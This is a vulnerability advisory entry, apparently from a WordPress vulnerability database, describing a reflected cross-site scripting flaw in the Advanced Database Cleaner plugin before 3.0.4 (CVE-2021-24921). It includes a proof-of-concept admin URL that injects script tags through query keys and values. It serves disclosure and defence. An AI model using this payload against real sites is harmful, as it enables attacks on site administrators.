WordPress Plugin Vulnerabilities

Advanced Database Cleaner < 3.0.4 - Reflected Cross-Site Scripting

Description

The plugin does not sanitise and escape $_GET keys and values before outputting them back in attributes, leading to Reflected Cross-Site Scripting issues

Proof of Concept

https://example.com/wp-admin/admin.php?page=advanced_db_cleaner&aDBc_tab=options&aDBc_cat=all&'><script>alert(/XSS-key/)</script>=<script>alert(/XSS-value/)</script>

Affects Plugins

Plugin icon
advanced-database-cleaner
Fixed in 3.0.4

References

CVE
CVE-2021-24921

Classification

Type
XSS
OWASP top 10
A7: Cross-Site Scripting (XSS)
CWE
CWE-79
CVSS
6.1 (medium)

Miscellaneous

Original Researcher
ZhongFu Su(JrXnm) of Wuhan University
Submitter
ZhongFu Su(JrXnm) of Wuhan University
Submitter website
https://blog.szfszf.top
Submitter twitter
JrXnm
Verified
Yes
WPVDB ID
43ab0997-4d15-4ff7-af41-7b528b0ba3c7

Timeline

Publicly Published
2022-01-24 (about 1 years ago)
Added
2022-01-24 (about 1 years ago)
Last Updated
2022-09-26 (about 1 years ago)

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